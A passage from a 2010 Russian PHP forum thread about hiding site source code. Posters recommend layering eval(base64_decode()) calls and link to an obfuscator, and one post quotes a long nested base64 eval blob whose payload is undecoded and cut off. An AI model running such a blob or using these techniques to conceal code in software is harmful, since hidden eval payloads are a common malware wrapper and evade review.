ZMVZrZDBhMVpXWkVoaFJscGFZbGhTTTFaVlduZFdNVnAxVkcxMFRsWlVSVEJXYkdNeFpERldWMVpZWkdsVFIxSlZWRlphUzA1c1ZrZFVhM0JxVWxoU1Zsa3piM2RoVlhSVVlYcGphVXRUYXpjaUtTazciKSk7"));

- используются комбинации функций base64_decode и base64_encode.

Можешь себе также сделать. Только чуть сложнее лучше - не просто функции а и строки разбивать, запутывая.

Спустя 2 часа, 6 минут, 47 секунд (30.10.2010 - 17:35) fire написал(а):
Копай в сторону обусфакторов кода, например

http://kaimi.ru/2010/10/php-obfuscator-1-5/

Спустя 7 минут, 36 секунд (30.10.2010 - 17:42) inpost написал(а):
CyLon
Продавая сайт ты продаёшь и готовый код. Право на улучшение/адаптирование новых приложений - сугубо дело хозяина скрипта. Если он захочет в форму добавить ещё один пункт - это его право! При купле-продаже программного кода все права и владение,пользование и распоряжение переходят его владельцу, а именно покупателю. Кодирование будет означать, что ты ограничиваешь владельца в владении и распоряжении его имуществом, что несомненно будет нарушать Гражданский кодекс и договор об "выполнении каких-то там работ" (Я не знаю российского законодательства, поэтому точно сказать не могу). Если собственнику понадобится получить внутренний код - он это потребует у тебя, и для вас обоих это будет дополнительной головной болью. Дело в том, что любая солидная организация хочет получить именно открытый код, и врядли в договоре сможешь указать отдельно пункт этот.
Декодирование можно использовать только как средство защиты от хакеров, хотя если они захотят навредить, то в начале напишут: header("Location: meatspin.com"); и всё, твоё декодирование не спасёт, а сервер и скрипт упадёт в производительности.
Это сугубо моё мнение по этому вопросу.

Спустя 44 минуты, 15 секунд (30.10.2010 - 18:26) phz написал(а):
Цитата (Michael @ 30.10.2010 - 12:28)
Недавно столкнулся - так шифровали:
eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBoVjBad2IxbHJUbTloVm14WlZHMTRUMkZzU20xWGEyUlhZVzFKZVZWdGVFeFJNSEJvVmpCYWQySXhiSEpVYlRsb1ZtMTRXbFpITVRSVU1rWnpVMjB4V0dFeVVsaFpWekZLWlZaV2RHVkZlRkpOU0VKdlZtcENZV1F5U1hoaVNFcFZZbFJzYjFadE1UUlhiRnBJVFZSU1ZVMXJXbnBWTWpCNFYwZEZlVlZzYUZwV2VrWkxXbFphVjJSSFZrWmxSa3BPVTBWS2RsWnRjRU5aVjFGNVUxaG9hVk5GY0ZaWmJGSnpZakZhZEUxVVVsaGlSbkJKVkZaU1UxWlZNWEpYYm5CV1RXcENORll3WkVabFZsWnpZVVp3VjJWcldreFhiRnBoVmpKU1NGWnJXbXhTYTNCUFZUQldTMlJzV25SalJVNWFWakZHTlZVeGFHOWhWazVHWTBaYVdtSkdTbnBaYWtaaFpFVXhWVlZzYUdsU2JrSktWa1phVTFVeFdsWk5XRXBZWW01Q1YxUlhjRU5PUmxsM1drVmFiRlpzV25wWlZWcDNWakpXY2xkcmVGaGlSbkJvVm1wS1UxTkdXbkpYYlhoVFlUTkNVRlpVUWxkVE1sSnpWMjVTYWxKVk5XRldha1pIVGxaVmVHRkhPV2hXYXpWSFdUQmFZVmR0U2tkVGJuQmFZV3RhYUZwRlZYaFdWbFp6WVVkc1UySnJTa3RXYTFwaFZURlZlRmRzV2s1WFJYQlpXVzAxUTFZeFVsaGpSVTVQVW14c00xZHJWbUZpUmxwelYyNXdXbFpXY0ROV2FrcFhZMnhrY21WR2FHbFNia0p2Vm0xd1MxVXhUa2RYYmtwWVlsaG9WRmxVVGtOVlJscFZVV3hrVkUxRVJucFdNalZUVkd4a1NGVnNVbFZXTTA0MFZHeGFWbVZWTlZaUFZtUlhZbFpLU2xac1pEUlpWbVIwVWxob1YxZEhhR0ZXYkZwM1pXeHJlV1ZIZEdwTldFSkhWR3hWTVZZeVNuSlNhazVYVFc1b1dGZFdXbEpsUm1SWllrWk9hR0pJUWxWWFZsSkxUa2RHUjFkdVRsaGliVkpWVlcxNGQyVkdWblJrU0dScFVqQndWMVl5ZEdGV01ERjFZVVJPV2xac2NISlZNR1JIVTBVNVYxcEhhR2hOV0VKMlZtMTRVMU14VlhoVWEyUllZbXR3YjFWcVRrTldSbEpZVFZjNVZsSnRVbGxVVldodllVVXhSVlpyYUZkTmFsWklWbXRhYTFOR1ZuVlRiRlpYVm10d1dWWlVSbUZXYlZaV1RsWmFVRll5YUZSWlZFNUNaREZhYzFsNlJsTk5WbkJZVmpGb2QxVnRTa2hoUm1oVlZsWndNMWRXV25kU1ZrcDBVbXhrVjJFelFYZFhWRUpXVFZaWmQwMUlhRk5YUjJoWVZGYzFVMWRHYkZWUldHaFVVbXMxZVZkcldtOVhSa2w0VTI1a1YxWXpVbWhhUkVaclVqSktTVlJzV21sU01VcDRWMWQwWVZkck1YTldiR1JvVW5wc1dGUldXbmRsVmxsNVkwVk9WMVl3Y0VoWk1HUnZWakZhUm1ORmVGWmlXR2h5VmpGa1QxSXhjRVpPVjJ4b1RVaENSbFpxU2pSV01XeFhZa1prVldFeVVsWlpiWFIzVjBac2MxWnRSbGRTYkd3elZqSjBNRll4V25OalJXaFlZVEZLVkZaclZYaFNWa3B6WVVaa1RtSnNTbmxXYWtKclV6RktjazVXWkZkaVNFSndWVzAxUTJJeFpITlhiVVpXVFZac05WVnRkR0ZaVmtwMFZXeG9XbUV5YUVSVk1uaHJZekZhZEdSSGJFNVdia0paVm1wR2IyUXlSa2RUV0dSWVlsZG9WMWxVUm1GaFJtdDVaVWRHYWxacmNERlhhMXBQVmpKS1IySXpaRmhXUlVwWFZGWmtSMUpyTVZkaVJrcG9UVEZLV1ZkWGVGTlJNREI0WTBaYVlWSllRbk5WYWtKM1UwWmtjbGRzVGxoU2EydzFXVlZhZDFkR1duUlZWRUpZVm14d2VsWnFSbGRqTVZwelZXMW9hVkpZUWpWV2JUQjNaVVV4UmsxSWFGaGlhelZYV1d0a1UxWnNVbGRYYm1Sc1lrWnNOVlJzWXpWV01rcEhZbnBLVm1KWVVuWldha0Y0VWpKT1JtUkhSbGRpU0VGNlZsZDRZVlV5VFhoalJXUmhVbTFTY0ZsVVFuZFZNVnAwWlVjNWEwMVZiRFJXYkdodldWWktXRlZzV2xwaE1sRXdXVEJhVjJOV1JuUlNiR1JYWWtad05sWnRNREZoTWtWM1RWWm9WbUpIYUZsV2ExVXhZMnhhUlZKc2NHdE5SRlpYV1ZWYWExWXdNSGhUYWtwWVZteHdhRlY2U2s5amF6VlhXa2RvVTJKclNuZFdWekUwVjJzeFIxZHJhR3hTTUZwaFZtcEdTMUl4VW5OWGJrNVhWakJ3U1ZaWGVHOVdWbHBZWVVWU1YwMUdjR2haTVZwUFpGWndSMU5yTlZkTlZYQkxWbXhTUzAxR2JGZFZiazVWWVRKb1YxbHNWbUZYUm14ellVYzVhRkp1UWxsYVZWcHJZV3hhY21OSWJGaGhNbEYzVmxSQmVGSXlUa1pqUm1oWFVsVndXRlpHV21GVk1rMTRWRzVLV0dKRk5XOVphMXAzVjFaYWRHUkdaRnBXTURWNldWUk9jMkZyTUhsaFJsWldZbGhTTTFZeWVITldiR1IwWkVkb1UxWkZXWGRYVmxaaFZqRmtSMWRxV2xKWFIyaFhWbXRXZDFWR1duRlNiR1JxVFZad2VsWlhNWE5WTVZwSFYyeEdWMDFYVVhkWlZFRjRVbXMxVjFwR1dtbFNNVXBhVjFaU1QxVXlTWGhWYkdSWVltMVNXVlp0TlVOV01XeFdZVWQwV0dKR2NIcFpNRnB6VjJ4YVYyTklXbGRoYTNCTVZqRmFVMk5XVm5SU2JFNVhUVlZ3VlZZeWVHdE9SMUY0VTFoc1UyRXlhSEJWYlhNeFlqRlNXR05JU2s1V2JIQjRWVzB4UjFkc1duTmlSRTVWWWtaYWRsWnNaRVpsVmxaellVWndhVmRIYUUxV2JGWmhXVmRPVjFKdVVsTmlXRUpQVm1wT2IxWXhXbGhOVkZKclRWWktlbFl5TlU5aGJFcFlZVWRHVjJKSFVuWlpNbmhoWTJ4d1JtUkdaRTVXTVVsNFYxUkNZV0l5UmtaTlZscHFVbTE0V0ZSV1duZGhSbFkyVW0xMFZGSnNjSGxaYTFwTFlWWktjMk5HYkZkV00yaFlWbXBCZDJWR2NFbFRiRnBvVFd4S1YxWkdaSHBOVm1SSFZsaHNiRk5GTldGV2JYUnpUbXhhV0dWSE9WZE5hMXA1Vkd4b1lWWlhTbGxoU0VwYVpXdGFhRnBGVlRWV01YQkdUbFprYVdFd2EzaFdiWFJoV1Zac1YySkdaR0ZTVjJoVVdWZDRkMWRHYkhKWGJVWllVbTE0ZVZkcldrOWhNa3BIWTBaa1YwMXFWbEJaVnpGTFUxWkdjbHBHVms1V01VWXpWbTF3UzFNeFdYaFViR3hoVW0xb2NGVnRlSGRsVm1SeVZXdDBVMDFWYkRSWGEyaFBWMGRLV1ZGc1VsZE5SMUoyVmpGYWExZEhVa2hTYkhCWFlraENTVmRVUWxkaU1WSnpWMnhvVm1KSGFHRlphMXAzWVVaVmVXVkdaRmhTTVZwSlZXMHhiMVl3TVVsUmFsWlhWa1ZzTTFSc1dscGxWa3AxVTJ4U2FWWXlhRmhXUm1SM1VqRlZlR05HV21GU1dGSlVWRlpvUTFOR2EzZGFSRkpvVWxSR1dsVlhjRTlXTURGWVZWUkNWMkpVUmxoVmJYTXhWbXh3U0dKR1RsTmlhMHBYVm0weE1GWXhiRmhUV0doWVlteEtUMVp0Y3pGV1ZscDBUbFZPVjAxV2NGbFVWbFpyVjBaSmQxZFVTbFppV0doNlZtcEdZV1JIUmtWVWJHUk9ZV3RhVFZacVJtdFNNVTVYV2toT1lWSXlhRzlVVkVKTFZWWlplV1ZIUmxkaGVrWllWMnRXYjFVeVJYbFZiRnBhWWtkb2Rsa3dXbHBrTVhCR1QxVTVWMkpJUWpSV1ZFcDNVVEZaZDAxV1pGTmhiRnBYV1d0a2IyUnNiRmhsUlhSWFRXczFTbFpIZUdGVWJFcHpZMFV4VjJKWWFHaFpla3BPWlVaa2MxWnNUbWxYUlVwVlYxZDRiMkl3TlZkWGJsSnNVbXMxVkZSV1duZGxWbEpYVjIxMGFHSkZjRmxXVjNodlZtMUdjazVXVWxkV1ZuQjZWakJrVG1WdFJraGpSMnhYVjBWS1NGWnRNSGhPUjBsNVVtdGFUbGRHU205VmJGcGhWMVphZEdWSVpHcGlSbHA0VlRKNFQxVXlSalppUm1oYVlURndURmxXV2t0ak1rNUhWbXhrVTJKVk1UUlhWM0JIV1ZaWmVHTkZiRlZpVlZwVVZXMTBkMlZXV2tkWGJYUldUVmRTU0ZZeU5WTlVNVnBZVld4a1dtSkdXak5XTVZwelZteGtkRTlXY0ZkaVIzY3lWMVpXYTJJeFdsZFhiazVxVTBWd1dGUldaRk5WUmxaMFpVaGtWRkl4V2tsWmExcHJWMFpLVmxkWWNGZGlXR2hVVlhwQk1WTkdVbGxpUms1cFVqRktWMWRXVWt0T1JsVjRZa2hTYTFJd1dsbFZiVEUwVjFacmVtTkZaR2hpVlhCS1ZWZDBiMVl3TVhGU1dHUlhWa1ZHTkZZd1dsZGpWa3B6WTBVMVUwMVZiekpXTVZwaFdWWnNXRlJ1VWxWaE1taFVXV3RrVTJJeFVsaGpla0pPVW14d1NWcEZaREJWTURGelUydG9WazFxVmxCWlZWcExZekpPU1ZGc1pFNVNia0pOVm0xd1IxbFdaRWhVYTFwclVsUnNWRmxZY0VaTlJsbDVaRWM1VTAxV1ZqVlZNblJyWVd4T1JrNVdaRnBpUjJoVVZGUkdkMVl4WkhOVWJHUk9WbTVCZUZZeWRHRmhNVlY1VWxod1VtSkhhRmxXYTFaTFpHeGtWMWR0ZEZOTldFSkhXV3RhUzJGV1NsWmpSbXhYVmpOQ1VGWkhNVmRTTWtWNllrVTFWMWRHU2xaV2JURXdXVmRXVjFWWWFGaGhlbXhXV1Zod1IxWXhhM2RWYkU1WFRXdFdORmt3YUV0V1YwVjRZMGhLWVZKV2NGaFdNV1JIVTBkT1IxUnNaR2xoTUhBeVZtMTRVMUV4V25KTlZtaFZZbXMxV1ZsdGVFdFVNVlp5VjIxR1ZsSnRlSGxXTWpWclZrWmFjMU5zYUZkaVdFSkVWbXBHUzFaV1NuSlhiRnBwVmtaYU1sWnRNSGhUTVVsNFZHNUthRkp0VWs5WlYzUmhWMVprVlZOdWNFNVdiSEF3VlcxMGEyRnNTWHBoUnpsVlZsZE5NVlJzV2xwbFYxWkhXa1prYVZac2NFbFdNblJYWVRGYVdGTnVTbXBUUlhCWFdXdGFTMWRHV2tWU2JHUnFUV3RhUjFaSGN6RmhWa3AwWkhwQ1dGWnNXblpaVkVaaFZtc3hWMXBHVG1oaGVsWlhWbTE0YTJJeVZuTlhia3BZWWxoU1ZWWnRkR0ZsYkZwMFpVaGthRlpyYkRWWlZWcFhWakpGZUZkdGFGZFdSVnBoV2xWYVlXUldUbk5WYldoc1lrWndVVlp0TVRSVk1WbDNUbFprWVZKdFVsaFpiRlpoVm14U1dHUkdaRTlTYkZZMFdWVmtNRlpWTVZkalJtaGFUVVp3Y2xZeU1VWmxWbFoxVjIxR1YwMHlhRzlXVkVKV1pVWlplR05GYUdwU01uaFlWakJXUzFOR1duUmxSM1JQVW0xNFdGWnNhSE5WTWtaelkwWm9XbUV4Y0doV01WcHpZMnh3UjFOck5WTmlhMHBIVmxjd2VFMUdXWGROVm1ScVVrVmFWMWxzYUc5VVJteFhWMnh3YkZZd1draFphMXB2WVZaSmVGSllaRmROVm5CWFdsVmFXbVZIVGtaYVIyeFRUVEJLVlZadGNFZFRNbFp6V2tab2JGSnRVbkpVVjNoaFpXeGFjMkZJVG1sU2EyOHlXV3RhWVZkdFJYaGpTSEJWWWtad2VsWnRlSE5PYkZweldrVTFhRTFZUVRGV2EyUTBZakZOZUdKR1pGUmlhelZ4VlRCV2QxWXhiRmhrUjBaWVVtNUNTRmRyVlRWV1JrbDNWMnRrVldKSFVuWlphMlJHWlVaYWNWVnNaR2xXUlVsNlYyeFdhMVZ0VmtkVGJHeHBVbXMxV1ZWcVNtOVdiRnB4VVcxMFQxSXdNVFJXYlRWTFZqSktWbGRzYkZkaVZFVXdWakZhY21WdFRrWmFSbVJwVWxoQmQxWnNaRFJqTVd4WFUyeG9hRkl5YUdGV2ExWkhUa1phY1ZOck9WTldhM0I2VjJ0YWExUnJNWFJhUkZwWFlsUkdNMVZYTVZkVFJsWnpZVVpPYUUxV2NGcFhWM1JoWkRGUmVHSklVbXRTV0ZKVlZXMHhVMlZzV25STlZXUm9ZWHBHZVZSc1VrTldhekZZWVVST1dsWnNjRXRhVm1SSFVqRmFjMWR0YkZkU2JIQkdWako0VjFsV2JGZFRXR2hYWW10d2FGVnRjekZVTVd4eVZtNWtXRlpzYkRWYVJWcHJZVVV4VjJOSWNGaGhNVnAyVm0weFMxWlhTa2RoUm5CWFRURktTVlpIZEdGVk1rMTRXa2hPVldKSFVrOVdiWGgzVGxaYWNsa3phR2xOYTFwWVZUSjRhMkZGTUhsbFJtaGFZa1pLU0ZSVVJsZFdWa3AwWkVaT1RsWXhTWGhXYkdRMFdWZEdXRk51U2xSaVYyaFpXV3RrVW1ReFZYbGpNMmhUVFdzMVIxZHJXbTloUjFaMFpVaG9WMkpVUlhkYVJFcFhWakpGZWxwSFJsTmxiWGgyVm0xd1ExZHJNWE5YYmxKcVVtMVNXRlJWVWtkWFZteFdWV3M1VjJKV1dubFdNakZIV1ZaS1JsSnFVbGRpVkVaSVZXcEdhMlJIUmtaT1YyeFhUVzFrTmxadE1UUlZNVVY0WWtaa2FWSnRhRlJaVkVwVFZqRnNjbGR0UmxaTlZuQjVWbTB4UjJGVk1WZGpSRUphVFROQ1NGbHJXa3RqTVdSellrZEdWMVl4UmpOWFZsWldaVVphZEZSclZsSmlWVnBZVm0wMVEwNXNXbkZUV0doVFlsWmFXVlZ0ZEd0VmJVcEhZMGhPV2xaRlNtRlVWVnBoWkVkV1NGSnNVazVpUlhCS1ZsUktNR0V4V25SVGJHaG9VbnBzYUZacVRtOWhSbFowWlVad2JGWXhTa2xaTUdRMFZUSktSbGRVUmxkaVIxRXdXVlJHV21WV1RuSmhSMmhUWVRCd1dWZFhlRk5TYXpGSFYxaGtXR0pIVW5GWmExcDNaVlp3UmxwRVFsVmlSbkF4VlZkMGMxWXdNWFZWYmxwYVZrVmFZVnBXV2s5ak1XUnpZVWRzVTAxVmNGaFdhMXBoV1ZaTmVGcEZaRmhpYkVwUFZteG9VMk5zV25Sa1IwWk9VbTE0VjFZeU1UQldWMHBHWTBSR1ZsWXpVVEJXTUdSR1pVWk9jbUZHY0d4aE1YQm9WMnhXYTFNeFNsZGFTRTVWWWxkNFdGUlVTbTlOTVZwMFRWUlNWazFWY0hsVVZsWnJXVlpLZEdWSVJsWmlSMmhFVmtSR1lXUkhWa2RhUlRsVFlrZDNNVmRVUW10U01WcHlUVmhLYWxKc2NHRlpWRXBUVTBaYWNWTnJkRmRXYTNCNlZrY3hSMVl3TUhsaFJGcFlZVEZhY2xacVJrOVNhemxYV2tkR1UxWkdXblpYYkdRd1ZtMVdSMWR1U21GU1JrcGhWbXBHUjA1R1pISldiWFJYVWpCd2VWUnNhRU5XYlVWNFZsaG9WMDFXY0doYVJXUlhVMFpLYzFkc1RtbFhSMmhZVm14amQwMVhSWGhXV0dST1ZteHdXVmx0TlVOWFJscHhWRzA1VjFKc2JETldNblIzWWtaWmQxZHJaR0ZXVm5CMlZtcEtTMVpyTVZWVmJHUm9UVlZ3VFZaclVrdFViVlpYVkc1S1YySkhhSEJWYlhSM1pERmFXR05GWkZSTlZscElWako0YjJGc1NsaFZiRlpWVm14VmVGWXdXbk5qYlVaR1pFZG9VMkV6UVhkV2JHTjRVakZaZVZOclpGUmhNVXBXVm10V1lWWkdiRFpTYm1SVVZteEtlbGRyV2s5VWJFcDFVVlJHVjJKR1NreFVhMlJLWlVkS1IxcEdVbWxTTVVwNFZsUkNiMUV4WkVkVmJGcGhVbXMxVmxWdGVGZE9SbGw1WlVVNWFHSlZjRmhWTW5SclZsZEtSMk5JU2xkV1JWcG9Xa1phUjJOV1VuTmFSMnhUWVROQ1RsWXlkRk5TTVZaMFZtdGtZVkp0ZUhCVmJURlRZMFpzV1dOR1pHeFNiSEJaVkZWb2IxUXhTbk5qUm1oWFRXcFdXRmxYZUV0a1JsWnpZa1p3YUUxWVFYcFhiRnBoV1Zaa1NGVnJXbEJXTW1od1ZXeG9RbVF4WkhKV2JFNVZUVmRTU1ZWc2FHOVhSMHB5WTBkR1YyRXhXak5XUlZwaFpFVXhWazlXVG1sV1dFSkpWakowYTJNeFdYaFRiR1JZVjBoQ1dGbHJXa3RUTVhCV1YydHdiRlpzV25wWGExcGhZVmRLUjJOR1dsaFdNMUoyVlZSS1RtVkhTa2RXYkZab1RVUldXbFp0TVRSa01VNUhWMjVTVGxaRlNsaFpXSEJIVmpGU2MxWnVUbGRoZWtZeFZsYzFkMVl5Um5KalJYaFhZbGhvY2xreWN6VldNVnB6V2taa2FFMHdTbUZXYWtaVFVURnNWMWR1VWxkaVIyaFdXVlJHZDFac2JISmFSazVWVFZkNGVWWnROV3RXUmxwMFZXeHNZVkpYVWtoWlZsVjRZMnhrYzJGR1pGTk5NVXB2Vm10U1IxbFdaRmhTYTJSWVlrZFNjRll3Wkc5VVZscFZVVzFHYWsxV2JEUlhhMmhMVlVaWmVsRnNhRnBoTVZvelZHeGFZV05zYTNwaFIyeE9WbXhaZWxaR1dsZFdNVlY0VjJ0YWFsSnRhR0ZXYTFaaFRURnJlRmRzVGxkTlYxSXdXa1ZhYTFSc1dYaFRhbFpYWWxSRk1GVjZTa2RYUmtwWldrZHdVMDF0YUZsV1Z6RTBaREpPYzJKSVJsUmhlbXh4VkZkMGQxTnNWWGxsUjNSWVVtdHNOVmxWV25OV01rcFZVbXBhVlZac2NISlpla3BHWld4d1IyRkhiR2xXYTNCaFZteGplRTFIVVhoWGJrNVlZbXhLVUZZd1ZURlhSbXhaWTBWa1dGWnNjRmxaTUZVMVYyeGFjMko2U2xaaVdGSnlWMVphWVdNeVRrZFZiR1JPVmpGS1RWWlhjRWRrTVU1SVVtdG9hRkpVVmxWVmJGWnlaVVphZEUxVVVtaE5iRVkwVmtab2ExUXhXbGRqUlRsWFlsUkdWRmxWV2xaa01WcDBVbXhrYVZJemFHRlhWRUp2VkRGa2MxZHVVbXhTYkhCWFZGWmFTMWRHV2toak0yaFhUV3MxUmxWWGVGZGhWa3AxVVd4R1YyRnJTbkpWZWtaS1pWWk9jbFpzWkdsV1ZuQlpWbTF3UzJKdFZuTlhibEpyVWpOU1ZGUlhjekZsYkZsNVRsVmtWMkpWY0VsWlZWcHZWbFphUmxkcmRHRldiSEJ5V1hwR2EyUkdTblJoUlRWcFVsaENZVlpzVWt0TlIwbDVVbXhrVkdKR1dsaFpiRkp6V1ZaYWNsWnJkRTVpU0VKWFZqSXhSMkZzV25KWGFrSldZbGhvYUZsV1dtRmpiR1JWVW14a1YyVnJWWGRYVjNCSFdWWmtSMU5zYkdsU01taFVXV3RXZDJGR1pGaGxSemxwVFVSQ05GbFVUbXRYUjBwSVZXNUdWMkpZVWpOVVZWcFhaRVV4V1ZwSGFGZGhNMEkyVjFSQ1lXSXhXWGROVm1SVVlrVktZVmxYZEhkVFJsWnhVbXM1V0ZadVFraFpWV1J6VlRBd2VXRklXbGRpUjFGM1ZtMXplRll4Y0VaYVIyeFRZbGRvVUZadGVHOVZNazVYVld4a1dHSnRVazlXYlhoaFYxWndWbGR0ZEZkV01Ga3lWVzF3UjFkc1dsZGpSbWhYVFVad1lWcFhlRmRrVms1elYyMTRhRTFZUWpWV2JHUjNVakZSZVZWc1pGaGlhelZWV1d4a05GZEdVbFZUYlRsWFlrWndlbGRyVWtOV01ERldUVlJXVjFadGFIWlhWbHBMWXpGa2MxUnNjR2xTTW1oVlZtMTBZVlV4WkVoV2ExcHJVbFJXVkZscldscE5WbVJ5Vm0xd1QxWnNiRE5VVm1oTFlXeEtkVkZzYUZkaGF6VjJWbFZhWVdSRk1WWmtSM1JYWVRGd05WZFdWbUZrTWtaSVVsaG9hbEpHY0ZoWmJHaERVMFp3UlZKcmRGZE5WbG94VmxjeE1GVXlTbGRUYkVKWFZqTlNhRlpxUVRGU01XUjFWV3MxVjFKcmNIWldSbVI2WlVVMVIxZHVVbXRTTUZwV1dXdGtVMU5HVlhsT1ZUbFhZbFZXTkZZeU1XOVdNREZYWTBkb1drMXVhR2hhUmxwclkyczFWMVJ0YkZOWFJVcGhWbTB4ZDFOck1WaFNXR2hZWVRKU1ZWbHRjekZqVmxaeVZtdDBXRkpzU2xsWk1GWnJZa2RLUjJORmJGVldiRnB5V1ZkemVGZEdWbkZTYkhCWFZtNUNlVlpyWTNoVE1sSklVbXRrVTJKSGFGaGFWM1JLVFVaYVdHTkZaRmhpVmxwWVZsYzFTMWxXU1hsaFJsSlhZVEZ3YUZZeFdtRlNNV3Q2WVVkc1RtSkZjRFpXYWtreFZUSkdjMU5zVm1sVFJVcFdWbXBPYjFSR1ZYZFhia3ByVFZad01GcEZXbTloVmxwelkwUldWMkZyYkROVWJGcHJZekZrY2xkck9WaFNia0pYVm0weE5HUXhaRWRYV0dSWFYwZG9WRlp0ZUhkTlJteFdXa2hPVmsxV2NIcFphMUpoVmpBeFdGVllaRnBoYTNCSFdsVmFhMk14WkhKT1ZsSlRUVEpvTmxac1kzaE9SazE0WWtaa1ZtSkdjR2hWYlhNeFZteFdkRTVWVGxOTlZtdzFWRlpTUTJGRk1WZGpSRUpYVm5wV00xWnRNVXRYVjBaSlUyeHdWMVpzV1RCV1ZFSldUbFpPV0ZKclpHRlNNbWh2VkZkd2IwMHhXWGhhU0dSVFRWVndNRlp0ZUd0V1IwcHlZMGM1Vm1KWWFHaFpNRnB6WTJ4YWRWcEdhRmRpVmtwWlZteGtNR0V5UlhkTldFcFBWbGRvV0ZSWGNGZFRSbHBZVFZWMFYySkhVakZWTW5oWFZqSktWMUpZWkZoaVJuQm9WMVphVDFKck1WWldiRTVwVmpKb1ZWWnRkRmRaVm14WFYyeGtZVkpHU25GVVZscDNWMFpaZVU1V1RsZGlWWEI2V1RCa1IxWXlTa2RqUkU1WVZteHdNMVl3WkZkVFZuQkhWV3hrVGxKR1drcFdiWGhyVGtkRmVGVnVTazVXYkhCeFZXeG9RMWRHVWxkYVJ6bE9UVlpaTWxWdGN6RmlSa3B5VGxoc1dHRXhjRkJaVm1STFVqSk9TRTlXWkZkbGEwWTBWbFpTUjJFeFdYaFhibFpWWWtad2NGVnROVU5WUm1SWVpFZDBWazFzV2xoV01uaHZZVEZPU0ZWc1dsVldiSEI2Vkd0YVdtVlhWa2hQVm1ob1pXdGFTVlpxU1RGa01WbDVVMnRrYWxJd1dtaFdiVEZUVjBaV2RHTjZSbGROVjFKNlYydGFUMVl5U25KVGF6VlhZV3R2ZDFaVVJrcGxWa3BaWWtaV1dGSXphRlZYVmxKTFlqRldWMWR1VGxaaVIxSllWVzE0YzAweFdYbGtSRUpYVFVSR1dWWlhlSGRYYXpGSFYxaGtWMUl6YUV0YVJFWnJaRmRLUjFac1pHbFdNbWhTVm0xd1ExbFhSWGhVYTJSWFlteEtiMVZ0ZUhkalJsWnhVbXQwVjFadFVucFhhMUpUWVRBeFZtSkVVbGhoTW1oWVZqQmtTMWRYUmtsUmJGcHBWMFpKZVZkclVrZFpWbHBYVkc1R1VtRjZWbFJaYTFaM1RteGFWVk5VUmxWTmExcFhWRlZvYzFadFNraGhSbHBYWWxob00xUlVSbkpsVjFaSlZHczVhVkpVVmpWV1IzaHJUVVpTZEZKWWJHdGxhM0JaVm0xNFlWWXhVbGRYYkZwc1VtczFXbGt3Wkc5Vk1WcEdWMnhzVjJKWVVsaFZla3BIVWpGYWNWZHNTbGhTTW1oVlZrWmtNRll3TlhOYVNFcFlZbFZhYjFWc1VrZFhiRlpZVGxoa1YwMXJjRnBaVlZwVFZtMUtXVlJxVWxwbGExcG9WakZrUjFOSFJrZFViWGhwVjBkb1dsWnRlR3RrTVVsNFlrWmtZVkpYVWxoV01HUTBZMVpXY1ZGdFJsaFdiWGg2Vm0wMWExWkdXblJsUm1SWFRXNW9VRll5ZUdGamJVNUdXa1prVG1Kc1NsVldiWEJMVW0xV1NGUnJXbWhTTUZwVVdXdG9RMkl4WkhKV2JVWlVUV3N4TlZWdGRHdFdWMFkyVm14U1ZtSllhSHBVYTFwaFpFZE9SbHBIYkU1aVJWa3dWbXRqTVZVeFdYbFNXR2hxVWxSc1dGbHJaRk5rYkZwMFpVaE9WMVpyY0hsYVJWcGhWR3hhZFZGWWFGaFdSVXAyVmtSR1lWWXhUblZVYkdocFlsZG9XRlpHWXpGUk1WcEhWMnRvYkZJd1duSlZiWGhoWlVaV1dHVkdaRmROVm5CNVdUQmFjMVl5Um5KaVJGSldZV3RGZUZsNlJrOWtWazUwWVVaT2FWSnVRbHBXYlRGM1V6SkplRk5zWkZoaWF6VllXV3hvVTFkR1VsZFhiazVQVW14d1NWUnNWbXRYUmtsM1kwVndWbFo2VmtSV2JURkhZMjFPU1Zkc1pHbFNia0o1VjFSS05GWXlUbk5WYmtwUVZtczFjRlV3Vmt0WFZscHlXa1JTV2xZd2JEVlZiVFZQVmtaa1NHVklUbFppUmtwNlYxWmFZV05XVW5SUFZuQlhZbXRLV0ZacVNqUmtNa3BIVjFob1dHRXllR2hWYkZwM1YwWmFTR1ZGZEZOaVIxSjVXVlZhYjJGRk1WZGpSbXhYWWtaS1NGZFdaRk5TTVZKMVZteFNhVkpyY0hkWFZsSkRaREpHUjFwR2FHdFNNRnB5VkZWU1EwNUdXbGhsUnpscFVtdHdNVlZYTlU5WGJVcEhWbGhvVm1GcldtaFZNRlY0Vm14d1IxZHJOVmROVlhCS1ZteFNTMDVIUlhoYVJXaFRWMGRvV1ZsdGVIZFdNVnB5Vm0xR2JHSkdiRE5XTW5Rd1lXc3hXRlZ1Y0ZkU2VrWjZXVlphVDFKc1RuTmpSbVJwVmtWV00xWnRjRXRWYlZaSFkwVmFZVkl6UWxSV2FrWkxWMnhrV0UxSWFGWk5WbkJJV1d0b1MxZEhSWHBWYXpsWFlsaG9lbFJzV2xOV01rWkdUMVpvVTJFelFqVlhWRUpoWVRGa2NrMVZaRlJpVjJoWVdWZDBSMDVHY0VkYVJXUlVWbTFTZWxkcldtdFZNV1JHVTJzMVYySkhVak5WYWtaU1pWWlNXV0pHVG1oTldFSlJWbTB3ZUZVeFVYaGlTRTVoVW5wc1QxbHJXbmROUmxKWFlVZDBWMVpVUm5sV2JYQlhWakZhTmxac1FsZGlSMUpNV1RJeFQxTkZPVmRYYld4VFlUTkJNbFl4VWt0T1JsbDVWR3hrVkdKcmNISlZiWGhMWTBaV2RHVklaRmhXYlZKWVZtMTRZVlF4V25OalJXUlZWbXh3YUZsV1drdFNNV1IwWVVaa2FWSnVRazFXVkVKaFYyMVJlR05GV210U2JWSllXVlJHZDFZeFdsaE5WRkpwVFZac00xUlZhR3RVTVVwR1UyeG9XbUpIYUVSVlZFWjNWbXhrY2s5V1pFNVdXRUY0VmxSSmVFNUdWWGxUYTJ4U1lrVktXRlpxVG05alZsSnlXa1prVTAxWFVqRlZiWGhUWVVkS1JtTklaRmRTYkhCb1ZtcEJkMlZHVm5OYVJtaHBWa2Q0V1ZadGNFTmtNbFp6Vmxoc2JGSlZOVmhaYkZaaFpWWnJkMWRzVGxoaVJuQllXVEJvZDFkdFZuSlhiV2hoVWxad1RGcEZaRmRUUjBwSFZHczFUbUY2VVhoV2JURTBWVEZOZDA1VlpHbFNiVkpYVmpCa1UxUXhXbk5hUkZKV1RWZDRWbFpIZEU5WFJrcHpWMnBHV2sxR2